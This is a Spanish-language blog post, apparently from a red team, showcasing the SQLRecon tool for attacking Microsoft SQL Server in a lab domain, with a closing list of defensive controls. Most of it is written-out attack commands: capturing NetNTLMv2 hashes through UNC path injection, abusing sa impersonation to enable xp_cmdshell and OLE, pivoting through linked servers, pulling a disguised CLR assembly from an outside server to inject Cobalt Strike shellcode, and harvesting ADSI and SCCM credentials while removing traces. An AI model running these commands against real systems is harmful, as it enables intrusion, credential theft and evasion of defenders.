Cuidado con las bases de datos: abuso de Microsoft SQL Server con SQLRecon.

A lo largo de mi carrera, he tenido la oportunidad privilegiada de echar un vistazo detrás del velo de algunas de las organizaciones más grandes del mundo. En mi experiencia, la mayoría de los sectores industriales dependen de redes empresariales de Windows. De hecho, puedo contar con una mano el número de veces que he visto una red descentralizada de zero trust, una red empresarial Linux, una red macOS o una alternativa al Active Directory (FreeIPA).

Mientras navego por estas grandes y a menudo complejas redes empresariales, es común descubrir Microsoft SQL Server, que normalmente se ha implementado para apoyar una función empresarial. Para los lectores que no estén familiarizados con SQL Server, el resumen es que se trata de un software de base de datos relacional que suele instalarse sobre un servidor Windows. El objetivo principal de SQL Server es almacenar y proporcionar datos a aplicaciones o usuarios.

Esta entrada de blog revisará la superficie de ataque que presenta SQL Server y cómo abusar de configuraciones erróneas y vulnerabilidades utilizando la herramienta de X-Force Red SQLRecon . Además, se describirán las consideraciones defensivas cuando corresponda.

Las vulnerabilidades y los errores de configuración de SQL Server están bien documentados. Aunque aparentemente estas debilidades siempre han existido, los equipos defensivos siguen pasando por alto de alguna manera el fortalecimiento de SQL Server. Me refiero sobre todo a reforzar la configuración subyacente e impedir el acceso trivial al servicio.

Una justificación plausible para este descuido es que existen riesgos mayores que una organización debe priorizar y abordar. Como resultado, el endurecimiento de SQL Server se queda en segundo plano, ya que manipular configuraciones de bases de datos de producción puede dar lugar a problemas de disponibilidad, que podrían desembocar en problemas operativos y, en última instancia, afectar a la productividad empresarial.

Uno de los errores de configuración más comunes que sigo viendo en las redes empresariales es la posibilidad de que cualquier objeto de dominio autenticado se conecte al servicio SQL como una cuenta con pocos privilegios. Esto solo requiere un contexto de dominio válido. En otras palabras, un token válido para un usuario de dominio o una cuenta de ordenador de dominio.

Para ilustrar un ejemplo, si la estación de trabajo de un usuario empresarial habitual se ve comprometida y existe una ruta de red a un SQL Server mal configurado, es posible que un adversario:

• Ejecute comandos SQL limitados en el SQL Server remoto.
• Determine los privilegios que tienen, que podrían ofrecer oportunidades de escalada mediante ataques tipo suplantación de identidad.
• Instruya a SQL Server que proporcione materiales de autenticación a través de una solicitud a una ruta de convención de nomenclatura universal (UNC), que pueda obtener credenciales hashadas, que a su vez pueden ser descifradas o enviadas para realizar ataques de tipo relé.
• Aproveche los derechos asignados a un SQL Server que está vinculado a otros SQL Servers, lo que puede resultar en una escalada de privilegios.

Estos son solo algunos ejemplos de lo que un adversario puede lograr al evaluar un SQL Server mal configurado dentro de un contexto de dominio. La superficie de ataque presentada por SQL Server siempre dependerá del entorno y la configuración a los que se enfrente.

En los últimos tiempos, los operadores de equipos rojos han sido bendecidos por la variedad de abusos de Active Directory que pueden aprovecharse para elevar los privilegios en las redes empresariales de Microsoft. Sin embargo, a medida que los equipos defensivos empiezan a controlar estas debilidades, naturalmente las vías para aumentar privilegios mediante el abuso de Active Directory tienden a agotarse.

Aun así, seguimos adelante y nos abrimos paso por la proverbial lista de ataques, buscando con optimismo vías de escalada que nos ayuden a actuar en función de nuestros objetivos. Me resisto un poco a admitir que, durante mucho tiempo, atacar a SQL Server estuvo bastante abajo en mi lista de prioridades. En su lugar, opté por priorizar cosas como los espacios de almacenamiento compartidos, las aplicaciones web internas, las herramientas de DevOps o la infraestructura en la nube. Probablemente pueda ver a dónde voy con esto...

En algún momento de 2022, tenía un compromiso y llegué a un punto muerto tras agotar todas las vías de escalada preferidas. Esto se debió en gran parte a un entorno excepcionalmente bien protegido. Al menos, eso era lo que pensaba antes de descubrir una gran granja de SQL Server, donde solo tenía que haber un error de configuración o una vulnerabilidad.

Sin que yo lo supiera en ese momento, y solo después de escribir esta entrada de blog, descubrí que Kaspersky encontró que los ataques recurrentes usando SQL Server habían aumentado un 56 % en 2022. Es una cantidad asombrosa.

Como operador del equipo rojo, a menudo interactúo con sistemas que he comprometido en las redes de nuestros clientes utilizando un marco de comando y control (C2). Los clientes con los que tenemos la suerte de trabajar suelen tener programas de ciberseguridad maduros, equipos defensivos capaces y controles de seguridad modernos, como soluciones de detección y respuesta de endpoints (EDR).

A lo largo de los años se han desarrollado varias herramientas para atacar SQL Server. La que siempre acababa buscando durante mis días de pen-testing era PowerUpSQL . Este es un proyecto creado por Scott Sutherland (@_nullbind), desarrollado en gran parte en PowerShell.

Las soluciones EDR (detección y respuesta de endpoints) pueden ser un oponente formidable al que enfrentarse, ya que hacen un trabajo fantástico detectando herramientas maliciosas de código abierto diseñadas para la seguridad ofensiva, especialmente aquellas que dependen de PowerShell. No se trata de despreciar las herramientas posteriores a la explotación de PowerShell, sino que tienen un propósito, pero no para el problema al que me enfrentaba en el entorno en el que me encontraba.

El problema que tenía en mi compromiso era que necesitaba encontrar la manera de conectarme a Microsoft SQL Server y empezar a interrogarlo para determinar si había alguna configuración incorrecta o vulnerabilidad. Sin embargo, el uso de cualquiera de las herramientas posteriores a la explotación de SQL Server existentes, que se basan en PowerShell, habría sido una forma segura de ser atrapado por el equipo defensivo. Esto se debe a una variedad de razones, que no analizaré en detalle, pero PowerShell no es un arnés ideal para lanzar sus ataques posteriores a la explotación debido a características de seguridad como AMSI, modo de lenguaje restringido y varios estilos de información de registro. Esto se agrava aún más cuando se implementa una solución EDR y otros controles de información de registro y monitorización.

Como alternativa, los operadores del equipo rojo suelen elegir C# como lenguaje para desarrollar herramientas posexplotación, ya que proporciona una forma sencilla de interactuar con el marco .NET junto con las API de Windows.

De ninguna manera soy desarrollador de C# o .NET, pero sé lo suficiente como para escribir herramientas que resuelvan un problema al que me enfrento. Cola SQLRecon , un kit de herramientas C# SQL diseñado para el reconocimiento ofensivo y la posexplotación.

SQLRecon  ayuda a abordar la carencia de herramientas posteriores a la explotación modernizando el enfoque que pueden adoptar los operadores de equipos rojos cuando atacan servidores SQL. La herramienta se diseñó para ser modular, lo que facilitaba la extensibilidad. SQLRecon  es compatible de forma independiente o dentro de un conjunto diverso de marcos C2. Al utilizar este último, SQLRecon  puede ejecutarse tanto en proceso como a través del fork and run tradicional.

SQLRecon  tiene más de 80 módulos para elegir. A continuación encontrará una descripción general de alto nivel de algunas de las características que ofrecen SQLRecon :

Proveedores de autenticación

• Cuenta de base de datos SQL local
• Autenticación de dominio de Windows basada en el token actual
• Autenticación de dominio de Windows con credenciales suministradas por el usuario
• Autenticación de dominio de Azure
• Autenticación local de Azure

Módulos de enumeración

• Localice SQL Servers asociados a un nombre principal de servicio (SPN)
• Obtenga información sobre el servicio SQL
• Determine privilegios dentro de SQL Server
• Enumere bases de datos, tablas, columnas y usuarios
• Busque en bases de datos de contenido
• Ejecute consultas arbitrarias
• Enumere los usuarios que puede suplantar
• Identifique SQL Servers vinculados

Ejecución de comandos, movimiento lateral y escalada de privilegios

• xp_cmdshell
• Procedimientos de automatización OLE
• Cargue y ejecute ensamblados .NET CLR personalizados
• Empleos de Agente SQL
• Recopilación de credenciales ADSI

Seguridad operativa

• Validación de autenticación continua
• Amplia información de registro de línea de comandos
• Barreras de ejecución basadas en si las opciones de SQL Server están habilitadas o deshabilitadas
• Gestión de errores en los argumentos
• Creación de contenido SQL alfanumérico aleatorio cuando corresponda
• Limpieza automática de datos creados en SQL Server con fines de ejecución de comandos

Otros

• Capacidad para cambiar de contexto de base de datos
• Conéctese a SQL Server escuchando en puertos TCP no estándar
• Compatibilidad con ataques de suplantación de identidad
• Capacidad para enumerar y atacar SQL Servers vinculados
• Compatibilidad con diversos ataques a bases de datos SQL de Microsoft Systems Center Configuration Manager (SCCM) y Endpoint Configuration Manager (ECM)
• Todas las consultas SQL utilizan el System.Data.SqlClient  namespace, desarrollado por Microsoft

Para información detallada sobre el uso de cada técnica, consulta la wiki.

Para preparar el escenario para las próximas demostraciones, operaré desde una estación de trabajo Windows 10 comprometida que pertenece a Jeff Smith(JSmith) en la kawalabs.local  red empresarial.

La estación de trabajo de Jeff tiene una ruta de red a tres SQL Servers, cada uno de los cuales ejecuta versiones diferentes; 2016, 2019 y 2022.

Se ha configurado un enlace SQL entre SQL01  y SQL02 , y se ha configurado otro enlace SQL entre SQL02  y SQL03 . Para los lectores que no estén familiarizados con los SQL Servers vinculados, esto permite efectivamente que una instancia de SQL ejecute sentencias SQL en otra instancia de SQL. Por ejemplo, SQL01  puede ejecutar sentencias SQL en SQL02, y SQL02  puede ejecutar sentencias en el SQL03, pero el SQL01 no puede ejecutar sentencias en SQL03  y viceversa. Es común ver SQL Servers vinculados en redes empresariales reales.

Además, existe un enlace de Active Directory Services (ADSI) entre SQL03  y el controlador de dominio principal en el kawalabs.local  dominio, DC01 . Los enlaces ADSI proporcionan a SQL Server una forma de interactuar con los objetos de Active Directory.

Por último, el kawalabs.local  dominio se ha conectado a un dominio de Azure Active Directory, kawalabs.onmicrosoft.com  usando Azure AD Connect. Esto permite a los usuarios de Active Directory on-premise en el kawalabs.local  para acceder a los recursos de la nube de Azure. La  kawalabs.onmicrosoft.com  tenencia de Azure AD contiene un SQL Server que almacena datos de pago, ECOM01 .

Figura 1: Configuración de red

Además, aprovecharé Cobalt Strike, que es un popular marco de comando y control, para realizar tareas posteriores a la explotación desde la estación de trabajo comprometida de Jeff(DESKTOP-LF8Q3C6) . En la siguiente captura de pantalla, he ejecutado el whoami  comando. Esto es solo para mostrar que Jeff no es un usuario privilegiado y tiene derechos básicos dentro del kawalabs.local  dominio y una red más amplia.

Figura 2: Emisión del comando whoami

En el momento de escribir este artículo,SQLRecon tiene dos módulos de enumeración que se pueden utilizar para descubrir servidores SQL en una red, así como obtener información sobre una instancia de SQL Server. El siguiente comando enumerará los Nombres Principales de Servicio (SPN) de Active Directory e identificará si existen SPN configurados para SQL Server. En el kawalabs.local dominio, hay un SPN establecido para un par de cuentas diferentes, esto se demuestra en la siguiente captura de pantalla.

SQLRecon.exe /e:SqlSpns /d:kawalabs.local

Figura 3: Descubrimiento de SQL Server a través del módulo de recopilación SPN

Se llama al info  resulta muy útil para obtener información adicional sobre un servidor. El siguiente ejemplo demuestra el tipo de información que se recupera de un SQL Server.

SQLRecon.exe /a:WinToken /h:SQL02 /m:info

Figura 4: Obtención de información sobre SQL02

Un agradecimiento a Daniel Duggan (@_RastaMouse) por sus contribuciones a los módulos de enumeración en SQLRecon .

Los módulos Standard se ejecutan en una única instancia de SQL Server.

En el siguiente ejemplo, utilizo el AzureAD  proveedor de autenticación, que utiliza el nombre de usuario y la contraseña de una cuenta de Azure Active Directory para autenticarse contra ECOM01 , una instancia de SQL ubicada en la nube de Azure. Luego uso el whoami  módulo para determinar los privilegios que Jeff tiene en ECOM01 .

SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:whoami

Figura 5: Enumeración de privilegios SQL para jsmith@kawalabs.onmicrosoft.com

De forma predeterminada, SQLRecon  se conectará a la master  ya que esta base de datos suele existir en todas las instancias de SQL Server. Sin embargo, puede listar fácilmente todas las diferentes bases de datos en las instancias de SQL Server usando el databases  módulo.

SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:databases

Figura 6: Enumeración de bases de datos en ECOM01

Puede conectarse a otras bases de datos especificando el nombre de la base de datos con /database : marque y pase cualquier módulo que quiera ejecutar. En el siguiente ejemplo, me conecto a la Payments  base de datos en ECOM01  y ejecuto una consulta SQL personalizada que obtendrá todo el contenido de la cc  tabla.

SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /database:Payments /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:query /c:"select * from cc;"

Figura 7: Obtención de datos de tarjetas ficticias de la cc  tabla en el Payments  base de datos en ECOM01

Pasando a algunos módulos más interesantes, SQLRecon  admite la inyección de rutas UNC, que puede realizar una cuenta de usuario con pocos privilegios, como KAWALABS\JSmith Esto puede dar como resultado la obtención de credenciales cifradas, que a su vez pueden descifrarse o transmitirse para realizar ataques de estilo relé. En el siguiente ejemplo, utilizo el WinToken  proveedor de autenticación, que utiliza el token para la KAWALABS\JSmith  cuenta de usuario, para autenticarse contra SQL02 , un servidor on-premise.

SQLRecon.exe /a:WinToken /h:SQL02 /m:smb /rhost:\\172.16.10.19\Projects

Figura 8: Inyección de ruta UNC

En la siguiente captura de pantalla, podemos ver la conexión realizada por SQL02  a un host bajo nuestro control (172.16.10.19). Esto da como resultado la obtención del hash NetNTLMv2 para la KAWALABS\mssql_svc  cuenta de dominio.

Figura 9: Obtención del hash NetNTLMv2 para KAWALABS\mssql_svc

SQLRecon  dispone de diversos módulos de ejecución de comandos que pueden utilizarse para ejecutar comandos arbitrarios en el sistema subyacente. Esto es especialmente útil si desea realizar una escalada de privilegios y/o un movimiento lateral. Se han implementado importantes barreras de protección en todo SQLRecon para garantizar que la seguridad operativa esté activada por defecto. Las dos barreras principales son:

• Validación de autenticación continua, donde SQLRecon  validará que es posible autenticarse en el dominio o SQL Server antes de ejecutar cualquier módulo.
• Barreras de ejecución, donde SQLRecon  validará que se den las condiciones óptimas antes de ejecutar cualquier módulo que cargue objetos, cree objetos o ejecute comandos.

xp_cmdshell ha sido durante mucho tiempo uno de los métodos más comunes para ejecutar comandos en el servidor subyacente via una base de datos SQL. En el siguiente ejemplo, he utilizado la cuenta de privilegio KAWALABS\JSmith  bajo para intentar iniciar la notepad.exe  aplicación en SQL01 .

SQLRecon.exe /a:WinToken /h:SQL01 /m:xpCmd /c:notepad.exe

Figura 10: Demostración de la barrera que impide la ejecución de órdenes

Como se ve en la imagen anterior, se encuentra una barrera de ejecución y se recibe un mensaje de error que indica que xp_cmdshell  está deshabilitado. Esta suele ser la configuración predeterminada en la mayoría de las versiones de SQL Server. Lo bueno es que, SQLRecon  tiene un enableXp  módulo, que permitirá la xp_cmdshell  configuración. SQLRecon también tiene un disableXp  módulo para que pueda volver al estado seguro original tras ejecutar su comando con xpCmd .

SQLRecon.exe /a:WinToken /h:SQL01 /m:enableXp

Figura 11: Demostración de otra barrera, en la que la insuficiencia de privilegios impide la ejecución de comandos

Como era de esperar, la cuenta de privilegio KAWALABS\JSmith  bajo encuentra una barrera de ejecución y recibe un mensaje de que no tiene los privilegios necesarios para activar o desactivar xp_cmdshell  …¿o no?

La suplantación SQL es un permiso especial que esencialmente permite a un usuario o grupo operar con el permiso de otro usuario, así como con sus propios permisos. La siguiente captura de pantalla está tomada de la configuración del backend de SQL02  y demuestra que BUILTIN\Users  puede hacerse pasar por sa  cuenta.

Figura 12: BUILTIN\Users  puede hacerse pasar por sa  cuenta en SQL02

SQLRecon  tiene un impersonate  para ayudar a determinar si una cuenta de usuario puede suplantar a otro usuario.

SQLRecon.exe /a:WinToken /h:SQL02 /m:impersonate

Como se ve en la captura de pantalla de abajo, la KAWALABS\JSmith  cuenta de usuario de privilegio bajo puede hacerse pasar por sa  cuenta en SQL02 . Esto demuestra la capacidad de ejecutar comandos en la instancia SQL con privilegios de administrador. Además, significa que ahora podemos ejecutar comandos del sistema en el servidor subyacente.

Figura 13: Enumeración de cuentas en las que se puede suplantar SQL02

Para demostrar otro módulo de ejecución de comandos, SQLRecon  puede ejecutar comandos en el usuario subyacente utilizando los procedimientos de Automatización OLE. Esto utiliza el odsole70.dll  ensamblado para interactuar con objetos COM de modo que wscript.shell  se puede aprovechar para ejecutar comandos arbitrarios del sistema.

Los módulos de suplantación de identidad siempre van precedidos de la letra i , y estos módulos necesitarán el nombre de la cuenta que se va a suplantar. En el siguiente ejemplo, me conecto a SQL02  como la cuenta de privilegio KAWALABS\JSmith  bajo y me hago pasar por la sa  cuenta para habilitar los procedimientos de Automatización OLE en SQL02 .

a:WinToken /h:SQL02 /i:sa /m:iEnableOle

Figura 14: Habilitación de procedimientos de Automatización OLE mediante suplantación

Ahora que los procedimientos de Automatización OLE están habilitados en SQL02 , estoy en condiciones de ejecutar cualquier comando arbitrario en el servidor subyacente en el contexto de la cuenta de usuario que ha iniciado el proceso de SQL Server. En el siguiente ejemplo, ejecuto un proceso hijo de PowerShell que enumera el directorio del mismo recurso compartido que se utilizó anteriormente para capturar las credenciales NetNTLMv2. Tenga en cuenta que esto es principalmente para fines de demostración y no es una acción que normalmente se llevaría a cabo en un enfrentamiento de simulación de adversario.

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iOleCmd /c:"powershell.exe ls \\172.16.10.19\Projects"

Figura 15: Uso de PowerShell para enumerar un directorio en un host remoto

Como se ve en la captura de pantalla anterior, se crea un objeto OLE y un método generados aleatoriamente, luego se ejecuta el comando malicioso y se destruyen los objetos OLE. Esto es intencionado, ya que no queremos dejar ninguna prueba de nuestras acciones.

En la siguiente captura de pantalla, podemos ver la conexión que está realizando la KAWALABS\mssql_svc  cuenta de usuario a través de SQL02  a un host bajo nuestro control (172.16.10.19). Esto da como resultado la obtención del hash NetNTLMv2 para la KAWALABS \mssql_svc  cuenta de ordenador.

Figura 16: Obtención del hash NetNTLMv2 para KAWALABS\mssql_svc

El siguiente ejemplo demuestra el uso de la suplantación para ejecutar el tasklist  comando usando xp_cmdshell  en SQL02 .

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iEnableXp

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iXpCmd /c:tasklist

Figura 17: Habilitando xp_cmdshell  y ejecutando comandos del sistema mediante la suplantación de identidad en SQL02

Siempre es una buena práctica revertir las configuraciones al estado en el que se encontraban originalmente.

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableOle

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableXp

Figura 18: Desactivación de procedimientos de automatización OLE y xp_cmdshell  en SQL02

SQLRecon  también puede realizar ataques contra instancias de SQL Server vinculadas. La siguiente captura de pantalla está tomada de la configuración del backend de SQL02  y demuestra que SQL02  tiene un enlace a SQL03 . Desde mi experiencia, esta es una configuración común en las redes de grandes empresas.

Figura 19: SQL02  tiene un enlace SQL a SQL03

La configuración de un enlace de una instancia de SQL Server a otra suele requerir un conjunto de credenciales privilegiadas para establecer y vincular el enlace. Esto es beneficioso para los adversarios, ya que permite ejecutar comandos en el SQL Server vinculado en el contexto de la cuenta que ha establecido la conexión. Otro punto a considerar es que los servidores vinculados pueden estar segmentados de la red en la que opera un adversario. Esto podría presentar la oportunidad de atravesar los límites de la segmentación y entrar en una zona de red con mayores requisitos de seguridad.

SQLRecon  tiene un links  módulo para determinar si un SQL Server tiene instancias de SQL vinculadas.

SQLRecon.exe /a:WinToken /h:SQL02 /m:links

Figura 20: Enumeración de SQL Servers enlazados en SQL02

Los módulos vinculados siempre se anteponen con la letra l , y estos módulos necesitarán el nombre de un servidor vinculado contra el que quiera emitir comandos. En el siguiente ejemplo, me conecto a SQL02  como la cuenta de bajo KAWALABS\JSmith  privilegio y emito el lWhoami  comando contra la instancia SQL03  vinculada.

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lWhoami

Figura 21: Enumeración de los privilegios de SQL que podemos asumir en SQL03  via SQL02

Como se ve en la captura de pantalla anterior, estamos operando en el contexto de la sa  cuenta en SQL03 . Esto se debe a que la cuenta sa se utilizó para establecer el enlace SQL desde SQL02  a SQL03 .

Todos los módulos de ejecución en SQLRecon  son totalmente compatibles con los SQL Servers vinculados. En el siguiente ejemplo, habilito la Integración de Common Language Runtime (CLR) en SQL02 .

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lEnableClr

Figura 22: Habilitación de la integración de CLR en SQL02

La integración de CLR permite importar ensamblados .NET personalizados a SQL Server. Estos ensamblados se almacenan dentro de un procedimiento almacenado antes de ser ejecutados. Esta es una buena primitiva de ataque de movimiento lateral.

En la siguiente captura de pantalla, creo un ensamblado .NET personalizado compatible con CLR de SQL Server llamado hollow.dll .  Esto almacenará una carga útil de Cobalt Strike en un procedimiento almacenado llamado ExecuteShellcode . La carga útil realiza un vaciado básico de procesos e inyecta el shellcode Cobalt Strike en Internet Explorer recién creado(iexplore.exe) node.js.

Figura 23: hollow.dll , un ensamblado .NET compatible con SQL Server CLR

Si está interesado en obtener más información sobre los ensamblados .NET personalizados de SQL Server compatibles con CLR, visite la sección Clr de la SQLRecon  wiki. Un ejemplo de hollow.dll  se puede encontrar aquí.

En la siguiente demostración, he subido hollow.dll  a un servidor web y he cambiado el nombre del ensamblado a favicon.png . Doy instrucciones al servidor SQL03  vinculado para descargar favicon.png  desde un servidor web y realizar los pasos necesarios para importar el ensamblado personalizado en un procedimiento almacenado de SQL Server y ejecutar la carga útil. Esto da como resultado la obtención de una baliza Cobalt Strike en el contexto del KAWALABS\mssql_svc  usuario en SQL03 .

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:https://cdn.popped.io/favicon.png /function:ExecuteShellcode

Figura 24: Obtención de Cobalt Strike beacon en el contexto de KAWALABS\mssql_svc  en SQL03

Por supuesto, el ejemplo anterior requiere que SQL03  tenga acceso a Internet para que el ensamblado se descargue de un servidor web de acceso público. Hay casos en los que no es posible ni deseable descargar un recurso extranjero desde un servidor web público. Como tal, SQLRecon  permite cargar ensamblados personalizados directamente desde el sistema de archivos del host comprometido, o desde un recurso compartido SMB. En la siguiente demostración, he subido hollow.dll  a un servidor SMB local y he cambiado el nombre del ensamblado a Reports.xlsx . Doy instrucciones al servidor SQL03  vinculado para descargar Reports.xlsx  desde el servidor SMB y realizo los pasos necesarios para importar el ensamblado personalizado a un procedimiento almacenado de SQL Server y ejecuto la carga útil. Esto da como resultado la obtención de una baliza Cobalt Strike en el contexto de la KAWALABS\mssql_svc  usuario en SQL03 .

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:\\172.16.10.19\Projects\Reports.xlsx /function:ExecuteShellcode

Figura 25: Obtención de una baliza Cobalt Strike en el contexto de

 KAWALABS\mssql_svc<code> on <code>SQL03

SQLRecon  también puede realizar ataques contra instancias de ADSI Server vinculadas para obtener credenciales en texto plano de cuentas de dominio. Si desea obtener más información sobre la artesanía ADSI, consulte la entrada de blog de Tarlogic. La siguiente captura de pantalla está tomada de la configuración del backend SQL03  y demuestra que SQL03  tiene un enlace ADSI al controlador de dominio principal en el kawalabs.local  dominio, DC01 . Este enlace ADSI está representado por el linkADSI  objeto.

Figura 26: SQL03  tiene un enlace ADSI a DC01

La configuración de un enlace ADSI desde una instancia de SQL Server a un controlador de dominio de Active Directory no requiere necesariamente credenciales privilegiadas. Sin embargo, durante las operaciones del mundo real, he visto casos en los que no se ha aplicado el principio de privilegio mínimo.

En el siguiente ejemplo, utilizo el lLinks  módulo al que se conecta primero SQL02 , y luego consulta SQL03  para SQL Server vinculado adicional. Puede pensar en esto como un escenario de doble enlace.

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lLinks

Figura 27: Enumeración de enlaces en SQL03  de SQL02

Ahora que hemos verificado que existe un enlace ADSI en SQL03 , podemos aprovechar el lAdsi  módulo para obtener las credenciales del dominio de texto plano utilizadas para configurar la conexión ADSI desde SQL03  a DC01 . Esto implica cargar un ensamblado CLR personalizado que contenga un servidor LDAP en una nueva rutina de tiempo de ejecución de SQL Server en SQL03 . A continuación, el servidor LDAP se ejecutará y escuchará las conexiones solo locales en un puerto proporcionado por el usuario, en este caso 49103. A continuación, aprovechamos los trabajos del agente SQL Server en SQL03 para dirigir las credenciales utilizadas para configurar la conexión ADSI para solicitar una solicitud LDAP al servidor LDAP local en el puerto 49103. Esta redirección temporal de la autenticación LDAP es lo que, en última instancia, da como resultado obtener credenciales de dominio de texto sin cifrar. Cabe señalar que los módulos Adsi e iAdsi no utilizan trabajos del agente SQL Server para iniciar el proceso de solicitud LDAP, sino que se utilizan consultas SQL estándar.

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lAdsi /rhost:linkADSI /lport:49103

Figura 28: Ataque de recopilación de credenciales ADSI de doble enlace

Una de las mayores extensiones de SQLRecon  proviene de mi colega Dave Cossa (@G0ldenGunSec), quien ha presentado una variedad de módulos que se pueden aprovechar para abusar de Microsoft System Center Configuration Manager (SCCM) y Microsoft Endpoint Configuration Manager (ECM). Los módulos de SCCM se desarrollaron a partir de un compromiso real, en el que el abuso de la base de datos SQL Server de SCCM nos facilitó el avance hacia los objetivos. En la mayoría de los casos, para interactuar con la base de datos SCCM, es necesario adquirir un contexto de privilegios elevados o es necesario obtener acceso al servidor SCCM. En los siguientes ejemplos, tengo una baliza de Cobalt Strike que funciona en el contexto de KAWALABS\mssccm_svc  cuenta en un servidor ECM, MECM01 .

Simplemente me referiré tanto a ECM como a SCCM como SCCM a partir de este punto.

En el siguiente ejemplo, utilizo el módulo de bases de datos para enumerar losdatabases que existen en la instancia de SQL Server en MECM01 .

SQLRecon.exe /a:WinToken /h:MECM01 /m:databases

Figura 29: Enumeración de bases de datos en MECM01

Como se ve en la captura de pantalla anterior, la CM_KAW  base de datos existe, que probablemente sea una base de datos configurada para SCCM en este servidor.

Los módulos SCCM siempre van precedidos por la letra s , y estos módulos necesitarán el nombre de la base de datos SCCM contra la que desea emitir comandos. En el siguiente ejemplo, me conecto a la CM_KAW  base de datos en MECM01  como el KAWALABS\mssccm_svc  cuenta y emite el sUsers  comando. Este módulo enumera todos los principales que están configurados para iniciar sesión en el servidor SCCM.

SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sUsers

Figura 30: Enumeración de todos los usuarios que pueden iniciar sesión en SCCM a través de la base de datos SCCM SQL Server

También es posible enumerar tareas que se han configurado en SCCM utilizando la sTaskList  módulo.

SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sUsers

Figura 31: Enumeración de tareas configuradas en SCCM a través de la base de datos SCCM SQL Server

Por lo general, SCCM necesitará credenciales de bóveda, que se utilizan para autenticarse en sistemas o recursos en un entorno para implementar paquetes de software o realizar cualquiera de las otras acciones proporcionadas por SCCM. Uso del sCredentials  módulo, podemos obtener una lista de las credenciales guardadas.

SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sCredentials

Figura 32: Obtención de credenciales archivadas a través de la base de datos SCCM SQL Server

En la captura de pantalla anterior, podemos ver que se ha guardado una credencial y esta es la credencial del KAWALABS\mssccm_svc  cuenta.

Con la lógica de Adam Chester( @_xpn_), es posible descifrar las credenciales guardadas de SCCM y obtener la contraseña en texto sin cifrar de las cuentas guardadas. Esto requiere privilegios de administrador local en el servidor SCCM. En la siguiente captura de pantalla, utilizo sDecryptCredentials  cuenta para descifrar la credencial guardada para el KAWALABS\mssccm_svc  cuenta.

SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sDecryptCredentials

Figura 33: Descifrado de credenciales SCCM almacenadas

Para evitar que los atacantes abusen de SQL Server, los defensores pueden adoptar un enfoque por capas a la hora de implementar los controles de seguridad. En primer lugar, recomiendo encarecidamente leer la guía oficial de Microsoft sobre buenas prácticas de seguridad de SQL Server.

La siguiente parada debería ser la orientación de prevención, detección y mitigación en laSQLRecon  wiki, que tiene algunas consideraciones defensivas excelentes. He seleccionado algunos de los controles más importantes que hay que implementar y los he enumerado a continuación.

Se deben considerar los siguientes controles de seguridad para su implementación a nivel de red.

• Asegúrese de que las rutas de red a los SQL Servers se hayan tenido en cuenta y se hayan limitado solo a un conjunto autorizado de sistemas o subredes. Las estaciones de trabajo rara vez requieren la capacidad de comunicarse directamente con SQL Servers. Considere la posibilidad de bloquear el acceso a TCP 1433 si es viable.
• Verifique que las herramientas de registro y monitorización de la red capturan las consultas SQL que atraviesan los límites de la red. Sería inusual que una estación de trabajo enviara consultas SQL a un SQL Server.

estaciones de trabajo y servidores del entorno.

• Valide que los controles de seguridad basados en el host, como las soluciones de detección y respuesta de endpoints, estén habilitados y que las firmas de los productos estén totalmente actualizadas de forma regular.
• Los defensores deben asegurarse de que el marco .NET v4.8 esté instalado en los endpoints de Windows y de que cualquier producto de seguridad basado en host que se utilice sea compatible con AMSI para .NET. Esto permite el escaneo de ensamblados .NET en la memoria.
• Habilite o configure una solución de listado de permisos de aplicaciones para evitar binarios sin signo, como SQLRecon , para evitar que se ejecute directamente en el endpoint.

• Asegúrese de que se han seguido las directrices de endurecimiento en el sistema operativo Windows Server subyacente. Considere instalar solo los componentes necesarios de la base de datos SQL.
• Asegúrese de que los SQL Servers estén incluidos en la política de gestión de parches de la organización y de que los parches se apliquen de forma rutinaria contra el servicio SQL y el SQL Server.
• Considere la posibilidad de restringir o eliminar la BUILTIN\Users  cuenta para autenticarse en instancias de SQL Server.
• Siga el principio de privilegios mínimos al configurar roles en cuentas de usuario. Este principio también debe aplicarse a la cuenta de servicio que inicia SQL Server.
• Elimine las asociaciones innecesarias de nombres principales de servicio SQL.
• Utilice contraseñas fuertes para cualquier cuenta local, como la sa  la cuenta.
• Registre, ingeste y audite de forma centralizada los eventos de inicio de sesión de SQL Server. Netwrix ha escrito un gran blog sobre cómo se puede lograr esto.
• Cifre el contenido confidencial. Esto evita que los conjuntos de datos queden expuestos, incluso si SQL Server se ve comprometido.
• Evalúe los enlaces entre los SQL Servers y determine el tipo de autenticación que vincula el enlace. Si es posible, elija utilizar el contexto de seguridad de autenticación actual, en lugar de utilizar el contexto del sa  la cuenta.
• Evalúe cualquier suplantación que se haya configurado y determine sus requisitos.
• Si usas bases de datos SQL de Azure, asegúrese de que Microsoft Advanced Threat Protection esté habilitada y configurada para enviar alertas.

Los ataques contra SQL Server siguen siendo relevantes en el panorama de la ciberseguridad de hoy. Los adversarios evolucionan constantemente sus técnicas para evadir los controles defensivos y, al hacerlo, explotan cada vez más los servicios auxiliares, como SQL Server. Estos ataques se han vuelto más sofisticados y sigilosos, a menudo empleando técnicas menos comunes para eludir las medidas de seguridad tradicionales.

